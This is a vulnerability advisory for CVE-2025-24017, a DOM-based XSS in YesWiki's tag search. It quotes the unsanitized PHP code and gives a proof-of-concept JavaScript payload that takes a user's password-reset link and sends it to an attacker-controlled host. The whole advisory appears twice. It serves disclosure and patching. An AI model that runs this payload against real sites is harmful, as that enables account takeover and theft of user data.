CVE-2025-24017

YesWiki is a wiki system written in PHP. Versions up to and including 4.4.5 are vulnerable to any end-user crafting a DOM based XSS on all of YesWiki's pages which is triggered when a user clicks on a malicious link. The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked. This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availability and confidentiality of a YesWiki instance. Version 4.5.0 contains a patch for the issue.

YesWiki is a wiki system written in PHP. Versions up to and including 4.4.5 are vulnerable to any end-user crafting a DOM based XSS on all of YesWiki's pages which is triggered when a user clicks on a malicious link. The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked. This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availability and confidentiality of a YesWiki instance. Version 4.5.0 contains a patch for the issue.

Unauthenticated DOM Based XSS in YesWiki <= 4.4.5

Summary

It is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.

This Proof of Concept has been performed using the followings:

• YesWiki v4.4.5 (doryphore-dev branch, latest)
• Docker environnment (docker/docker-compose.yml)
• Docker v27.5.0
• Default installation

Details

The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked.

This part of the code is managed by tools/tags/handlers/page/listpages.php, and this piece of code is responsible for the vulnerability:

$output .= '<div class="alert alert-info">' . "\n";
if ($nb_total > 1) {
    $output .= _t('TAGS_TOTAL_NB_PAGES', ['nb_total' => $nb_total]);
} elseif ($nb_total == 1) {
    $output .= _t('TAGS_ONE_PAGE_FOUND');
} else {
    $output .= _t('TAGS_NO_PAGE');
}
$output .= (!empty($tab_selected_tags) ? ' ' . _t('TAGS_WITH_KEYWORD') . ' ' . implode(' ' . _t('TAGS_WITH_KEYWORD_SEPARATOR') . ' ', array_map(function ($tagName) {
    return '<span class="tag-label label label-info">' . $tagName . '</span>';
}, $tab_selected_tags)) : '') . '.';
$output .= $this->Format('{{rss tags="' . $tags . '" class="pull-right"}}') . "\n";
$output .= '</div>' . "\n" . $text;

echo $this->Header();
echo "<div class=\"page\">\n$output\n$outputselecttag\n<hr class=\"hr_clear\" />\n</div>\n";
echo $this->Footer();

The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.

PoC

1. Simple XSS

Abusing the tags parameter, we can successfully obtain client side javascript execution:

2. Full account takeover scenario

By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:

fetch('/?ParametresUtilisateur')
  .then(response => {
    return response.text();
  })
  .then(htmlString => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(htmlString, 'text/html');
    const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty
    fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));
  })

Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.

Impact

This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.

Suggestion of possible corrective measures

• Sanitize properly the tag names when created…

YesWiki is a wiki system written in PHP. Versions up to and including 4.4.5 are vulnerable to any end-user crafting a DOM based XSS on all of YesWiki's pages which is triggered when a user clicks on a malicious link. The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked. This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availability and confidentiality of a YesWiki instance. Version 4.5.0 contains a patch for the issue.

YesWiki is a wiki system written in PHP. Versions up to and including 4.4.5 are vulnerable to any end-user crafting a DOM based XSS on all of YesWiki's pages which is triggered when a user clicks on a malicious link. The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked. This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availability and confidentiality of a YesWiki instance. Version 4.5.0 contains a patch for the issue.

Unauthenticated DOM Based XSS in YesWiki <= 4.4.5

Summary

It is possible for any end-user to craft a DOM based XSS on all of YesWiki's pages which will be triggered when a user clicks on a malicious link.

This Proof of Concept has been performed using the followings:

• YesWiki v4.4.5 (doryphore-dev branch, latest)
• Docker environnment (docker/docker-compose.yml)
• Docker v27.5.0
• Default installation

Details

The vulnerability makes use of the search by tag feature. When a tag doesn't exist, the tag is reflected on the page and isn't properly sanitized on the server side which allows a malicious user to generate a link that will trigger an XSS on the client's side when clicked.

This part of the code is managed by tools/tags/handlers/page/listpages.php, and this piece of code is responsible for the vulnerability:

$output .= '<div class="alert alert-info">' . "\n";
if ($nb_total > 1) {
    $output .= _t('TAGS_TOTAL_NB_PAGES', ['nb_total' => $nb_total]);
} elseif ($nb_total == 1) {
    $output .= _t('TAGS_ONE_PAGE_FOUND');
} else {
    $output .= _t('TAGS_NO_PAGE');
}
$output .= (!empty($tab_selected_tags) ? ' ' . _t('TAGS_WITH_KEYWORD') . ' ' . implode(' ' . _t('TAGS_WITH_KEYWORD_SEPARATOR') . ' ', array_map(function ($tagName) {
    return '<span class="tag-label label label-info">' . $tagName . '</span>';
}, $tab_selected_tags)) : '') . '.';
$output .= $this->Format('{{rss tags="' . $tags . '" class="pull-right"}}') . "\n";
$output .= '</div>' . "\n" . $text;

echo $this->Header();
echo "<div class=\"page\">\n$output\n$outputselecttag\n<hr class=\"hr_clear\" />\n</div>\n";
echo $this->Footer();

The tag names aren't properly sanitized when adding them to the page's response, thus when a tag name is user controlled, it allows client side code execution. This case describes a case where the tag name doesn't exist, but if an admin creates a malicious tag, it will also end up in XSS when rendered.

PoC

1. Simple XSS

Abusing the tags parameter, we can successfully obtain client side javascript execution:

2. Full account takeover scenario

By changing the payload of the XSS it was possible to establish a full acount takeover through a weak password recovery mechanism abuse (CWE-460). The following exploitation script allows an attacker to extract the password reset link of every logged in user that is triggered by the XSS:

fetch('/?ParametresUtilisateur')
  .then(response => {
    return response.text();
  })
  .then(htmlString => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(htmlString, 'text/html');
    const resetLinkElement = doc.querySelector('.control-group .controls a'); //dirty
    fetch('http://attacker.lan:4444/?xss='.concat(btoa(resetLinkElement.href)));
  })

Hosting this script on a listener, when an admin is tricked into clicking on a maliciously crafted link, we can then reset its password and takeover their account.

Impact

This vulnerability allows any user to generate a malicious link that will trigger an account takeover when clicked, therefore allowing a user to steal other accounts, modify pages, comments, permissions, extract user data (emails), thus impacting the integrity, availabilty and confidentiality of a YesWiki instance.

Suggestion of possible corrective measures

• Sanitize properly the tag names when created…